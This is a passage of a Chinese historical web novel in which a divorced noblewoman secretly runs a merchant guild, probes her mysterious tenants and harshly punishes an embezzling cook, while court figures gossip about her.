安平伯老夫人神色一动,俨然是心动至极,她刚想要开口下令。 小桃瞬间哭出声,扑到老夫人的脚边,抱住她的腿脚求情。 “老夫人,小桃求求您让我家小姐再养养身体,然后再把她送出去吧,现如今小姐伸手百道杖行,轻易挪动一不小心就会留下残疾。” 白清漪悲戚道:“小桃,你说这话作甚,快住嘴!” 安平伯老夫人猛地后退,将主仆二人的惨状映入眼帘,她纠结地皱眉转身,神情中闪过心疼。 “罢了罢了,就让你们再待在府中将养些时日吧,但是决不允许你再次出现在臣儿面前!” 白清漪感激道:“姨母放心,清漪绝对不会主动引诱表哥的!” “姨母受了清漪许久,不如赶快回去歇息吧。” “方才好像听到表哥让姨母帮忙选妻室,这京城名门淑女众多,但愿意当人继母的却鲜少,姨母可要一番辛苦了。” 白清漪失落的垂眸,吐出的言语满是心疼。 她轻叹一声,言语试探:“也不知道莫离这会儿子如何了,坠崖恐怕一定很是害怕,也不知道莫离有没有吓坏了,姨母切记可一定要好好哄一哄孩子。” 安平伯老夫人警惕,探究地看向她:“你是如何得知莫离出事的?再说你怎么就知道他是追了崖,而非别的出事。” 白清漪心底一紧,难不成任务失败了? 小桃跪在地上,连忙冲她摇头。 白清漪无奈地抬眼:“方才姨母与表哥谈论此事时,我虽然昏迷,但却已经快要醒来,所以才会听到的。” “姨母莫不是在怀疑我?莫离从小就是我照料的,若是能狠下心对他动手,恐怕连地狱中的阎罗见到清漪都要逃跑了。” 安平伯老夫人反应过来,对于儿子训斥自己,被白清漪听到非常的害臊,她冷哼一声转身就走。 小桃将房内的下人全部支出去,抬手关上房门之后,快步回到白清漪的身边,一脸的焦急。 “小姐,您被杖行的时候,白家人宣布将您赶出族谱,如今要不是安平伯收留,咱们恐怕只有城外的破庙可以安身了。” 白清漪脸色难看:“慌什么!此次让姜清宁扳回一局,当真是让我难以接受,她如今竟然硬气到报官的程度了!” 原本此次姜清宁不知生死,她只是想借此让荀臣疼惜,再毁了姜清宁在荀臣心里最后的好感,万一姜清宁死了更好。 却不成想竟然让姜清宁命大活了下来,还转头就去报官,让同知大人提前调查完一切。 白清漪咬牙切齿:“姜清宁当真是可恨极了!待我养好身子,定然要狠狠地还回去!” 小桃一脸的纠结:“如今安平伯让老夫人帮着娶妻,想必是已经忘记姜清宁,可是您如今被休弃又无娘家做倚仗,恐怕无法再嫁安平伯了。” “啪!” 白清漪狠狠地扇了小桃一巴掌,脸色难看至极:“怎么,事到如今连你都嫌弃我被人休弃,无家可归了?” 小桃跪地求饶:“小姐饶命,小桃绝无此心啊!” “最好是这样,否则我绝对饶不了你!” “都怪姜清宁!她要是死了多好!” 宁阁。 “哈切!” 姜清宁坐在花园中,狠狠地打了个喷嚏,茫然的抬眼环视四周。 怎么有种背后发凉,要被人阴的感觉? 姜清晞将披风解下来,披到她的肩上,一脸的关心。 “阿姐要不先回去休息,这个秋千架我来盯着就行了,傍晚风凉,阿姐千万别感染了风寒才是。” 姜清宁心中疲惫,含笑点头道:“那秋千架完成之后,你别玩太晚,早点回去用晚膳。” 话音落下,她转身朝着后院走去,紫苏跟在她的身后,神情之中有些纠结。 紫苏开口解释:“小姐,奴婢突然觉得秦世子是个不错的人。” 姜清宁觉得好笑:“那你说,秦休哪里不错了?” 紫苏当即走到姜清宁的身边,神情恳切:“您昨日出事,奴婢跑回去想找人求救,后遇到了青之……” 第五十二章帮着想办法 “总之后来秦世子定然是亲自去找您的,他一路上风尘仆仆地回京,就连衣袍都湿了,紫苏觉得他肯定是跳水找小姐您却被人拦住了。” 紫苏信誓旦旦的说道,满脸的坚定与诚恳。 姜清宁忍俊不禁,抬手点了点她的脑袋:“都说了让你少看些话本子你偏不听,现在整日在脑补些什么东西。” “他秦休是秦国公府的世子,未来的秦国公,家中世袭,嫡姐更是宫中的贵妃娘娘。” “他从小到大那般的美貌女子没见过,会因为我心动?” 姜清宁开口辩解,走到后花园的阁楼旁。 她抬眼望去,脑海中却忍不住浮现出,前些时日看宅子时,站在阁楼上看到的那一幕。 秦休身着绯色官袍,行走于庭院,回头的刹那,面如冠玉,气质清冷,浑身都散发着生人勿进的疏离气息,却更显矜贵出尘,不似凡间人。 可偏偏就是这样的男子,出现在她的面前时,和她第一眼时看到的感觉根本不一样。 排除他喜欢她的可能,只能说秦休很擅长伪装。 紫苏盯着面色沉重的姜清宁,迷茫地挠了挠头,可她就是觉得秦世子喜欢小姐。 再说小姐长得这么美,怎么可能没人喜欢呢? “不要说这些让人不开心的话了,快回去吧,今晚让厨房给你做一整只烧鸡,好让你解解馋。” 姜清宁回神,摇头将不应该出现的思绪摇走。 她和秦休本就不是一个世界里面的人,更不会因为他而使自己的人生产生动荡。 “小姐最好了!” 紫苏瞬间忘却令她惆怅的此事,当即欢呼起来,激动得恨不得瞬间飞去厨房。 姜清宁望着她的背影,心中浮现出远在岭南的父母兄长,心中不由得酸涩起来。 京城距离岭南来回五千里,光是信使前去,来回就要月余,也不知道他们现在如何了。 …… 三日后。 天光清朗,姜清宁心中挂念着一事,回房更衣,准备出门去。 “大小姐!” 身后传来呼唤声,姜清宁循声望去,发现是温子怡的身影。 “怎么了?一脸的欣喜,可是发生了什么有趣的事情?” 姜清宁含笑看着她,将袖中的帕子递给温子怡,明明春日的天,她却激动得额头满是虚汗。 “大小姐快看,这是我搜集到的京城所有茶楼的信息,这些店里的所有茶水点心我几乎全部试过了!这些都是它们的特色风味记载!” 姜清宁连忙接过来,被沉甸甸的重量压得力道又出三分,看着手中厚厚一沓的资料,她勾唇称赞。 “不错,你竟然真能在五日之内,就将京城所有的茶楼探查完毕。” 温子怡害羞一笑:“先前我无知的要开茶楼的事情还请小姐千万忘记,若不是您让我去一家家的尝试,我还真不知道一家小小的茶肆之中,竟然有如此多的门道。” “肯做出尝试便是好的,不过我倒是没想到你的算数竟然如此之好?” 姜清宁转身回房,仔细地翻看着温子怡计算的糕点成本和利息,全部都是一目了然,让她看得心情非常愉悦。 温子怡害羞道:“我其实是爹娘捡来的,幼时爹娘成婚多年没有孩子,他们对我宠爱非常,但后来没几年我娘接连生下三个弟弟,后来在生五妹的时候难产而亡。” “爹爹从此一蹶不振好一阵日子,可他还有五个弱小的孩子需要养育,便和傅叔商量白日父亲去上工,我们去傅叔那里玩耍,晚上父亲回来管傅叔一顿报饭。” “我的算数就是在傅叔手中学的,不过大小姐千万不要因为傅叔不会种花而嫌弃他,傅叔很厉害的,斋郎曾和我透露过傅叔曾是当朝正三品的官员,后来因为刚正不阿不愿趋炎附势才遭受贬谪的。” 姜清宁手指微顿,抬眸看向她:“傅叔很厉害?还是正三品的官员?” 温子怡狠狠点头:“对啊对啊,傅叔很厉害的,他其实最会经商和读书,我的算数,斋郎的课程,都是傅叔一手交起来的。” “不过我们对外只说不太熟,因为傅叔怕哪一日仇家寻仇来不及逃,牵连了我们就不好了,但大小姐是好人所以我猜对大小姐知无不言的!” 姜清宁心中一跳,恐怕和温子怡说的恰恰相反,这个傅叔没准正是在逃的官员,遭受贬谪恐怕也是另有起因。 “你确定……傅叔经商很厉害?” 姜清宁心中的念头浮现,忍不住开口询问。 温子怡连忙点头,语气诚恳至极:“自然!大小姐相信我!” 姜清宁抬步走到内室,拿出一个锦盒递给温子怡。 她神情认真道:“这里面有两张铺子的租赁,其中一间适合做茶楼,另一间我确实苦寻许久,找不到合适的生意去做,不如你帮我想一想?” 温子怡愣住,茫然道:“大小姐确定让我来想吗?” 她可是一间茶楼都没有经营呢,却不曾想得到大小姐如此的信任。 …… 前院。 卫斋和傅叔等候在拱门的屏风后,见到温子怡小脸红扑扑地跑出来,他们暗中对视一眼,眉眼之中尽是耐人寻味的意思。 “斋郎!傅叔!你们还在这里等我呢?” 温子怡见到二人,激动地跑上前。 “瞧你,又蹦蹦跳跳的,满头的汗水,别动我帮你擦擦。” 卫斋轻叹一口气,上前扶住温子怡,抬起袖子为她擦汗,神情中带着难以遮掩的宠溺。 傅叔笑呵呵地看着二人,感慨地摇头:“现如今你们两个长大了,倒是可以提成婚的事情了。” 温子怡粉嫩的脸顿时更加红了,她忍下害羞,一脸求知欲旺盛地看向傅叔。 “傅叔您就快别打趣我了,大小姐方才很是满意咱们的成果,已经将茶楼的铺子租赁给了我,可大小姐说我算数好没准经商也可以。” “便把另一家的铺子租赁给了我,让我去那里看一看,大小姐说她想不到这家铺子能做什么,就让我帮着想一想。” 温子怡头大地撒娇:“傅叔您就快帮帮我吧,我只跟您学了算数和经营茶楼,这开铺子可还没学到呢。” 卫斋见傅叔拿起租赁,神情却瞬间变得凝重起来。 他连忙上前将温子怡哄住,抬眸望向傅叔,开口询问:“怎么了傅叔,可是这租赁不对?” 第五十三章权势必然诱人 后院。 姜清宁望着方才温子怡消失的地方,黑眸中带着探究的神色,转头对走到身边的姜清晞轻声道:“去查一查,他们到底是什么人。” 若是被朝廷追杀的凶犯,即便这群人再聪明,但她万万是不能收留了。 姜清晞将方才的话听了个真切,她应声道:“阿姐放心,一切有我。” 话音落下,她抬步朝着外院走去。 前院。 傅叔心中猛地一沉,已经意识到姜清宁知道自己的背景,而如今的这些恐怕是对他能力的试探,他审视地抬眼看向温子怡。 “子怡,你方才和大小姐都说什么了?” 傅叔眼神锐利,言语中带着怒意的质问。 温子怡茫然地抬眸,眼眶瞬间红了些许。 她无辜地摇头后退:“我什么都没和大小姐说啊,大小姐夸赞我算数厉害,我就说了自己的算数是傅叔你教导的,可惜我人笨没学会多少。” 傅叔沉声追问:“你确定自己只说了这么多?” 温子怡神情受伤,眼眶瞬间红了起来。 她茫然地抬头看向傅叔,委屈地询问。 “傅叔难不成是在怀疑我?我们一路上同甘共苦这么久,傅叔还是斋郎的师傅,我怎么可能做出对不起你们的事情?” “子怡你冷静一些,傅叔不是这个意思,你先安静一下,我们回房里去说。” 二人的争执引起来往仆人的注意,卫斋当即开口制止两人之间的争执。 傅叔冷哼一声,抬步朝着房内走去。 卫斋望着他的背影,眼眸之中深沉似海,他听着耳边的抽噎声,转头温柔地对着温子怡轻声哄着。 “子怡,对不起,让你受委屈了,但我师傅的脾气就是这样,容不得半分的差池。” “没关系,我详细不是你做的,但我们还是先进去跟师傅请罪吧,他不会真的责怪你的。” 温子怡抬眸,望着卫斋柔情的模样,心中却忍不住的寒凉起来。 每每面对傅叔和她的时候,卫斋总会向着傅叔,即便他们已经相识多年,可到底是比不过这浓重的师徒情谊。 温子怡遮去眼底的情绪,她抬袖擦干净眼泪,勉强地对卫斋笑了下。 “我知道的,只要你能相信我,那我便不会寒心,斋郎,如今我们已经安稳,我想要尽快与你成婚了。” 卫斋面色一僵,他别扭地问道:“不是说还不想嫁我吗?” 温子怡摇头:“先前是担心你科举被顶替,若是我提起婚事,只会让你觉得在被胁迫,但如今我们有宁阁住着还能开茶馆。” 卫斋皱眉打断:“这不一样。” “这怎么不一样?”温子怡心底猛地一沉,她不解道,“斋郎,你是不是不想与我成婚了?” 卫斋叹气,上前握住她的手:“这里只是我们暂时的栖身之所,等我和师傅的事情完成,咱们还是要离开京城的,到时归乡成婚广邀亲朋不是更好?” 温子怡认真地看着眼前的男人,良久含笑道:“你说得对,我现在先去给傅叔道歉,咱们再商量茶馆怎么开好吗?” 姜清宁斜躺在贵妃榻之上,手中握着名下商铺送来的每月账本,一旁张嬷嬷在为她煮茶,紫苏摇扇好不温馨。 直至日暮西垂,姜清晞飞身落入院落之中。 她拎着几串糖葫芦跑进房内,扑到姜清宁的身边撒娇。 “阿姐,看我给你带糖葫芦回来了!” 姜清晞把最大的那串递给姜清宁,剩下的分给紫苏和张嬷嬷,二人明白她们是有要事商谈,纷纷起身走到门外守着。 房门被关上。 “可查到什么了吗?” 姜清宁合上账本,姐妹二人并排坐在一起啃糖葫芦。 “我方才去偷听来着,但他们实在太过狡猾,不放心这里是咱们的地盘,温子怡给姓傅的老头道了歉,没多久他们就出府去看阿姐给的铺子,但还是被我抓到和他们秘密地跟人传递消息。” 姜清晞从怀中掏出一张信封,她没有拆开看过,直接递给姜清宁。 姜清宁接过,看向姜清晞,语气无奈:“小妹,你不会是将人打晕,把信封抢过来的吧?” 姜清晞脸上闪过一丝心虚,不好意思地挠了挠头发。 “阿姐,我随着阿兄在战场上抢习惯了,方才反应过来的时候,已经将这信封抢过来了。” 姜清宁深吸一口气,闭了闭眼睛,终究是将信封打开查看。 姜清晞张望询问:“阿姐,上面写的什么?” 姜清宁将信封递过去,摇头道:“是暗语,虽然不知道他到底在传递什么消息,但是能够确定的是,此人绝非等闲之辈。” 姜清晞唏嘘不已:“我觉得他们很可能真的是在逃的凶犯,不过他们三人都不是一条心的,每个人都有自己的小九九,一副面和心不和的模样,尤其是那个温子怡和傅老头。” “阿姐不知道,方才两人在前院就吵起来了,若非那个卫斋阻拦,没准温子怡都要说出他们之间隐藏的秘密了。” 姜清晞摇头叹息,没想到这京城真的到处都弥漫着危险,果真还是不如岭南,虽然贫苦却自由。 “阿姐不如跟我回岭南吧,父亲母亲兄长每年心系阿姐,可恨那安平伯府故意阻拦我们与阿姐通信不知阿姐苦楚,否则咱们一家绝对会打回来将阿姐抢走的!” 姜清宁轻笑摇头,抬手安慰她:“我得留在京城,这才是我们的家。” “当年父亲兄长遭受贬谪,结案草率,扑朔迷离,我定然要想办法查明真相。” “小妹,你继续盯着他们,但是切记不要打草惊蛇,先暗中收集证据以待来日,或许找出他们背后的秘密就能成功地进入天子眼中。” 姜清晞心疼地点头:“阿姐放心,我一定会好好听阿姐的话,我们姐妹齐心,定然能够完成所有的目标。” 姜清宁抬手摸了摸她的长发,满眼的欣慰和宠溺。 “阿姐更希望你们都好好的。” 尽管如此,姜清宁还是打算从商,一举成为京城的富商攀上权贵。 她手中这些年没少买房产的契,一直都在好好地开发产业和租赁出去,如今已经在最短的时日之内,获得了最显著的效果。 可这些对她来说还远远不够,权势必然诱人,但没了钱财,一国之主都会捉襟见肘。 第五十四章查账事出 街道上人声鼎沸,叫卖声络绎不绝,热闹喧哗的集市中,车声马嘶人嚷汇成了一片。 马车缓缓地停在首饰铺外,紫苏和张嬷嬷走下马车,转身扶着姜清宁姐妹下车。 “阿姐你先去探查铺子吧,我和紫苏还有事情要去办呢!” 姜清晞欢呼一声,带着紫苏快速地朝着点心摊子而去,明摆着的小馋猫架势。 姜清宁无奈叹气,隔着帷帽喊道:“你们注意些安全!” 张嬷嬷抬手扶着姜清宁,含笑宽慰道:“小姐放心吧,二小姐如今身体好不容易好全了,自然是要好生的跑跑,有紫苏跟着不会有事的。” “嬷嬷说的我都知道,但小妹她、算了,不说这些事情了,左右她们两个人不会胡来的。” 姜清宁摇头,姜清晞如今在京城之中是没有身份文书的人,但凡京兆府不是承延这般正派的人坐镇,她已经为姜清晞办好了身份户籍。 可偏偏是承延,他又多次地帮过她们,更不能刻意为难别人,这样实在是对承延不好。 “小姐不要过于忧心,咱们还是先去查账本吧,您这几日可是好不容易脱身而出的呃。” 张嬷嬷想到有趣的事情,不由得打趣姜清宁道。 姜清宁无奈叹气,走入铺子中,过去一个月来,宁阁每日都有人上门向她提亲。 有时候一日来一家,有时候多了一日三四个提亲的媒婆上门,后来她烦了索性闭门不出,只让下人每日辰时早点去采买蔬菜肉食。 结果……那些人竟然连后门都堵住了。 姜清宁一查才知道,其中有部分是因为她大难不死,并且流传出去的有福之人的名头,特意请媒婆为家中子嗣提亲的。 还有的却是因为她和离令辟府邸,背后的资材引人动心,有一家主动上门,之后的便都是络绎不绝了。 “大掌柜来查账了吗,这个月倒是晚了几日,您先和张姐姐楼上请,我这就取账本来!” 掌柜的见到姜清宁腰上挂着的腰牌,当即将客人全部交接给小二,他快步地跑到姜清宁的面前行礼问安。 “这几日是拖延了时间,速度快些,我们家夫人查完还有下一家呢。” 张嬷嬷同样戴着短款帷帽,走到姜清宁的面前,对着掌柜地吩咐道。 后者连忙应声,让小二先把人请上去。 一个时辰后,姜清宁查完帐下楼,走到掌柜的面前,清冷地开口询问: “这个月的生意差得太多了,下个月开始卖珍珠的饰品,宫里的娘娘会带。” 姜清宁留下这句话,转身朝着店外走去,掌柜的立刻满脸喜气地将人送出去,随后快速吩咐人去收购珍珠。 粉红色长裙的少女拦住掌柜的,好奇地询问:“刘掌柜,方才那位夫人是谁,你怎的那么尊敬她?” 刘掌柜眼中闪过不耐,在看到来人之后,却瞬间喜笑颜开。 “原来是姜三小姐,这几日可没见到您的身影,昨儿刚进了一批宝石簪子,粉色的宝石趁您的容颜正好啊!” 姜如意满意地点头,随着他走到柜台处:“不错,的确是非常好看的簪子,把这几个都给本小姐包起来吧。” “对了,你还没说方才那人是谁呢?” 姜如意心里记挂着,忍不住开口询问。 刘掌柜眉眼一转,含笑道:“这可见您是月月的老主顾,才悄悄告诉您的,方才啊那位是我们的大东家,每月都会来查账,半年汇一次总账,东家会亲自派人来取。” “东家?”姜如意轻喃,激动地开口,“那她岂不是很有钱?靠的是夫家吗?” 刘掌柜连忙摆手:“你可想错了,我们东家是在八年前开始做生意的,如今这一整条东大街的商铺,全都是我们东家的私产!” “无论是自家的铺子,还是租赁,都由东家或者她信任的嬷嬷,来查验每月的收成。” “至于我们东家自然是嫁了人又和离的,像这种没眼光的男人,幸好东家早早地离开了,否则绝对全家都是吸血鬼!” 姜如意眼中闪过艳羡:“不知道那个男人是谁,竟然这般不识货,连这样厉害的夫人都能和离,想必是个妾室充足的贱男人。” 姜如意回神,看向刘掌柜,眼露精光地询问:“我这里倒是有几个铺子想要出手,不知道你们东家有没有兴趣?” “刘掌柜若是牵线成功,日后我们姜家所有女眷的珠宝首饰,都可从你这里买。” 刘掌柜眼中的不屑一闪而过,他心中嗤笑,面上却是挂着十足十的笑容。 “姜小姐放心,我定然会帮您禀告掌柜的一声的,就是不知道您想要卖哪几个地界的铺子?” …… 姜清宁坐在福满斋的二楼包厢内,面前摆着一摞摞的账本,她蹙眉查着账,掌柜悄悄地抬手擦汗。 隔着屏风看不到姜清宁的神情,但却让他感觉到十足十的威压。 “崔掌柜,这个月的盈利,比之上月倒是少了近乎百两银子,后厨的开销窟窿倒是多了一处,难不成这老鼠还会吃银子不成?” 姜清宁随手将账本扔在桌子上,冷笑一声,转头质问站在屏风后的崔掌柜。 崔掌柜几乎是立刻跪下,他哀戚道:“东家饶命,前几日后厨掌勺的张大厨家中出事,他的儿子烂赌成性将房子都抵押了出去,却还是被人放了高利贷……” 姜清宁皱眉:“这关我福满斋什么事情,难不成福满斋已经沦落到,做善事来博好名声的地步了吗?” 崔掌柜满脸苦楚,想到这事他简直比吞了一万根一针还要痛苦。 “自然不是,只是张大厨他生了坏心,将我提起那一日交给他采买后厨食材用具的银子全部私吞,竟然用去替儿子还了高利贷。” “导致第二日许多菜品供应不上,客人们失望而去,因此损失了不少的收入。” 姜清宁眼中寒光尽显:“他们父子人呢?” 这天底下断没有拿她钱财,还想着不干活的买卖。 崔掌柜连忙应声:“这人倒是让我给扣下了,现如今一直在杂物房关着呢,只是那里污浊不堪,还请东家在此稍等片刻,小的这就去派人把他们提过来。” 第五十五章上官东家 姜清宁淡定地坐在天字号包厢喝茶,张嬷嬷跪坐在一旁,抬手为她磨墨。 “东家可要如何处置这人?” “犯了我的忌讳,自然是哪只手拿的,便砍了哪只手,自古没有让人白占便宜的道理。” 姜清宁语气悠长,神情中夹杂着冷凝,让人望而生畏。 “是,商会的道理一直是这样的,只是这个张大厨是福满斋的老人了,您若是就此斩了他的手,那他的手艺就要绝传,到底是不划算的。” 张嬷嬷长叹一声,说出心中的顾虑。 “嬷嬷糊涂了,他今日敢偷盗福满斋的银钱,明日就敢以次充好,尝过了一次甜头,万万不会就此忘却。” “我要让他永远地铭记着,得罪我上官商会的后果。” 姜清宁神情讥讽,眉眼中的杀气毕露。 福满斋的顶层包厢为:天、时、地、利、人、和、正、兴,八间上等包厢。 天字号包厢从不对外使用,另外七间便是一经放出,就被京城各处的权贵们抢结一空,直接全年的包下。 时字号包厢。 那男子身穿淡黄色锦袍,面容白皙,双眉舒展似新月,眼眸明亮而柔和,仿佛藏着春风。 鼻梁挺直,唇若含丹,嘴角总是噙着一抹温雅的笑,恰似三月暖阳,暖人心扉。 他看着面前的人直摇头,满脸都是看扶不起的阿斗时的神情。 “承元,你说你,出来吃酒都穿着官袍,着实的扫兴不说,还平白让人看着倒胃口。” 秦休淡漠的勾唇,端起酒盏饮了一口,这酒入口甘甜,后劲辛辣,倒是喝着新奇。 “陆乘,若是皇上知道你又跑出来喝酒,怕是明日夫子就会提着戒尺上门,将你好一顿教训。” 秦休面色清冷,毫不在意他的损话。 “我猜你是绝对不会向父皇告状的,咱们毕竟都是多年的兄弟,你要是今日真的做出一场大一灭兄弟的戏码出来,我当真是无话可说,从此以后只当是没有你这个好兄弟。” 陆乘,当朝皇后所出嫡子,今天三月及冠之后被册封为太子殿下,与秦休交好,是自幼的玩伴。 “太子殿下的一声兄弟,秦休可当不起。”秦休嘴角微扬,带起一抹若有若无的笑。 “你就别打趣我了,我的这个太子之位怎么来的,想必你是比我更清楚不过的,若非贵妃娘娘晚生几年,恐怕都没有我和母后出现的机会。” 陆乘丝毫不介意般的说道,眉眼弯弯,令人忍不住亲近。 秦休一顿,敛眸道:“贵妃娘娘此生无此大志,日后若是能做个闲散太妃,带着孩子久居京城,便是秦家最好的祈愿。” 陆乘笑容柔和,如沐春风:“你这又和我见怪了不是,不过是几句玩笑话,只有你才会当真了。” “咚咚咚……”敲门声响起,打断了二人接下来的谈话。 “进吧。”陆乘看了秦休一眼,冲门外喊道,“应该是承延来了,你们两人一个承元,一个承延,倒是似亲兄弟般。” “差了两岁。”秦休淡声提醒,“殿下还是莫要这么说的好,他幼时亲弟曾意外落水不治而亡,这才成为家中独子。” 言尽于此,陆乘的神情不由得严谨起来,在房门开的那一刻,两人起身相迎。 承延身着绯色官袍,迈步走入包厢之内。 陆乘失笑:“你们真不愧是好友,就连赴宴都穿着一模一样的衣衫,当真是让我无语极了,下次也让内务府的制衣司做身绯色官袍穿,以免被你们二人日日孤立……” “呜呜呜!”拼命挣扎的声音响起。 承延的身后路过一行人,闹出的动静不小,引得三人抬眸看去。 崔掌柜带着被捆绑结实的两人,面色沉重的朝着里面的天字号包厢走去。 陆乘的眼神从被捆绑的两人身上扫过,不由得疑惑地嘟囔:“这不是福满斋的厨子吗?怎么会被五花大绑的带去天字号客房,难不成上官东家来了?” 承延迈步走入包厢之中,向二人见礼,随后一脸淡然的坐下。 “太子殿下在说什么?”承延疑惑地抬眼,看向陆乘。 陆乘摇头,一脸的疑惑:“没什么,你们不喜欢在欢场作乐故而有所不知,这整条东大街包括福满斋全部都是出自一家商会,这家商会的主人姓上官,其人极其地擅长做生意。” “从前是以租赁起家的,后来通过手中租出的铺子,来观察每家商铺做生意的路子,渐渐地竟然都被这个上官东家学了去,自己也开始捯饬着开铺子走商会。” “现如今就连宫中的内务府,都会时常地找上官商会合作。” 陆乘一脸莫名,感叹道:“今日能让这崔掌柜如此严阵以待的,恐怕就是福满斋背后真正的主人,上官东家来查账了。” 承延心中疑惑,和秦休对视一眼,纷纷对陆乘的叹气不解。 “这能和宫中做生意的定然是能人异士,只是太子殿下为何叹气,难不成是这其中还有什么隐秘?” 承延浅笑,提起酒壶为几人倒酒,他们之间早已不计较这些虚礼,故而谁手里有闲暇便会自然地做这些事情。 “倒也不是隐秘吧,就是有人说这上官东家是一位女子,自古女子中普通人家相夫教子草草度过一生,富贵人家攀着高嫁女为家族争光。” “但是像上官东家这样,不靠男子,不靠背景,独独在几年间为自己撑起一片天地,倒是极为的少见。” 秦休无语:“你就是因为这件事,心中好奇,才会想要见到福满斋的东家?陆乘,你的好奇心未免太过于重了。” 陆乘捕捉到秦休眼中明晃晃的闪过嫌弃,心中非常受伤。 他不忿道:“谁说我是为了看上官东家是男是女了,孤明明是好奇上官东家的手段。” “方才那两个人被如此的捆绑,不是逃奴就是叛变,所以他们的下场可想而知,但上官东家是一名女子。” “倒是让孤十分好奇她的手段。” 第五十六章处置 承延叹气:“无论哪一种下场,都不会轻易地放过就是了。” 有时候狠心,才是对自己的救赎。 “能够走到如今这等身份的人,无论男女,心底的善恶早已无法分明,在面对威严权势被挑衅的时候,更不能手软。” 秦休神色淡漠,毫不犹豫地开口,做出对上官东家的点评。 陆乘心底诧异,他望着对面坐着一身绯色官袍的秦休。 这人长眉入鬓,双眸如寒星般明亮,挺直的鼻梁下,唇若点绛,神色矜贵,温润的气质在周身萦绕。 但只有陆乘和承延深深地知道,秦休在大理寺中审问犯人的手段,才当真是让人恐惧不已,就连他们这些见证过大场面的人,都不禁为止浑身一震。 “你说得对,我倒是非常好奇,这父子俩之后的下场了。” “咱们要不要打一个赌注?赢了的人可以指定输家……向上官东家面前讨个彩头,你们敢不敢打赌?” 陆乘眉眼中闪过一丝坏笑,眼瞅着就是想到了什么折腾人的主意。 承延和秦休对视一眼,前者无奈地摇头,后者敛眸饮酒,没有人将他的话听入耳中。 崔掌柜带着张大厨及其儿子,敲响天字号包厢的房门。 只听里面响起一声清脆的进,崔掌柜连忙亲手推开房门,转身命令人将罪大恶极的两人压进去。 张大厨一听东家竟然是为女子,紧绷的情绪瞬间放松了一些。 女子好啊,是女子好啊,女子的心肠软。 张大厨急切地望向屏风后,在确认端坐在那里的,的确是一位身段窈窕,气质高贵的女子。 他心尖的大石猛地落地,如此只要好好地求情一番,上官东家是万万不会将他们驱赶出去的,没准还能帮儿子找一个搬卸货物的活计。 方才崔掌柜一脸凝重,让他好自为之的神情在心中破灭。 张大厨抬眼望向一旁,看到崔掌柜小心翼翼恭敬行礼的神情,心中不屑他对一女子竟然女子恭敬,着实丢了男人的脸面。 崔掌柜的心提到嗓子眼里,他恭敬地开口询问:“东家,人已经给您尽数带来了,您看是要如何处置?” 张嬷嬷站在一旁,将张大厨和其儿子灵活的眼神看在心里,不由得暗暗地对姜清宁摇头,看来大小姐说的都是真的。 有时候只有彻底的狠心,才能成功地震慑住那些心思坏到家的恶仆。 “东家我今日心情好,刚好想要听一听二人的解释,崔掌柜的,你把他们堵嘴的布拿掉,让我听一听他们有什么好说的。” 姜清宁接收到张嬷嬷的示意,眉眼冷凝,闪过了然的神色,既然如今崔掌柜地在这里,还有数位家仆。 干脆直接杀鸡儆猴,以正这些年松散管理的不正之风。 “是,都听东家的安排。” 崔掌柜脸色瞬间发白,他回身示意人将张大厨父子口中的破布取出,走到张大厨的面前,冷下表情望着他。 “见到了东家,有什么冤屈和不得已都完完全全地说出来,但万不可打马虎,让人觉得你们是在糊弄东家。” 张大厨在心里冷哼一声,他在福满斋干了八年,是福满斋的老人,无数的客人来都是为了他的绝活手艺。 他就不信,东家还能真的将他给驱逐出去不成! “东家明鉴啊,我实在是没有了办法才会出此下策,您有所不知,我的儿子虽然烂赌成性。” “可他本性绝对是顶顶好的人,无非是从前受到了一些人的恶意挑唆,所以才会做出赌博的事情,但如今我已经狠狠地教育过他!” “还请东家您看在我张某,在福满斋干了多年的份上,兢兢业业不辞辛劳的份上,干脆就饶了我们父子一回吧!” “放肆!你这不知天高地厚的家伙,竟敢如此与东家说话,简直是岂有此理!” 崔掌柜的脸色瞬间变得阴沉至极。 他怒目圆睁,瞪着眼前的人,声音震耳欲聋。 “你难道不知道东家最讨厌的就是这种耍滑头的话语吗?你这样胡言乱语,若是东家怪罪下来,你难道要让我们这些无辜之人陪着你一起承担你们父子的过错吗?”崔掌柜的情绪愈发激动。 “东家,您千万不要动怒啊!” 崔掌柜他满脸堆笑地对着姜清宁说道,“咱们福满斋向来都是规规矩矩做生意的,绝对不会有这样的人存在,这八年才出了这么一个货色,实在是我们的失职啊!还请东家明察,不要因为这一个人的过错而怪罪整个福满斋啊!” “而且,这张家父子偷了咱们福满斋百十两银子,这可是铁证如山啊!他们不仅偷钱,还如此不尊敬您,简直是罪大恶极!您对他们要打要罚,全凭您一句话,我老崔绝对没有二话!” 崔掌柜的言辞恳切,仿佛他对东家的忠诚已经到了无以复加的地步。 话音落下,崔掌柜偷偷地抹了一把汗,他着实没想到这张大厨死到临头,竟然还敢心存侥幸。 不过这倒是让他没了估计,大难临头各自飞,本就是稀疏平常的事情,即便这张大厨到了阴曹地府,也无法怨怪他丝毫。 姜清宁轻笑一声,从屏风后缓缓走出,行走间气场强大。 直到此时,在场的几人才纷纷冷汗直冒,迎面意识到了姜清宁的气势可怕。 “崔掌柜不必激动,张大厨,你倒是会给自己和儿子找借口,可偷钱就是偷钱,不是你几句求情就能掩盖过去的。”姜清宁声音清冷,眼神犀利。 张大厨还想再辩解,姜清宁抬手制止了他。 “福满斋能有今日,靠的是规矩和信誉,你在这多年,却做出这等事,实在让我失望。” 她顿了顿,“念在你曾有功劳,我留你一条活路,你和你儿子即刻离开福满斋,偷去的银子三日内还清,否则我定不会轻饶。” 张大厨脸色煞白,双腿一软差点跪下。 他儿子也吓得瑟瑟发抖。 崔掌柜暗自松了口气,连忙称东家英明。 姜清宁重新坐回屏风后,“此事就这么定了,崔掌柜,后续事宜你处理好。” 崔掌柜忙不迭地点头,带着人将张大厨父子押了下去。 姜清宁神情冷漠,无比冰冷地开口吩咐,“这两人的双手和嘴都不能留了,让他写出拿手菜品的方子,而后的你自己去办,记得带人做干净。” 别说三日,就是三十年,他们都还不清。 “东家说的是,偷盗者东家可将其发卖为奴,但即便是这两人卖为奴隶,也不过是几两银子的事情。” 张嬷嬷朗声道:“倒不如把他那绝学的手艺买来,差上的银子就用他们的双手和嗓子抵过,如此彰显出咱们东家的仁慈。” 崔掌柜心中大骇,连忙跪地应声,“东家说的我都清楚,只是他们父子刚出福满斋,若是就出事的话,定然会被人怀疑是不是被东家动手的。” “这就是崔掌柜要管的事情了,既然有人做出这种事,崔掌柜就要考虑是否是自己御下不严导致。” “将这两人处置了,好好地在楼里宣传一下他们的下场,就是要让所有人都知道得罪‘上官’二字的代价。” 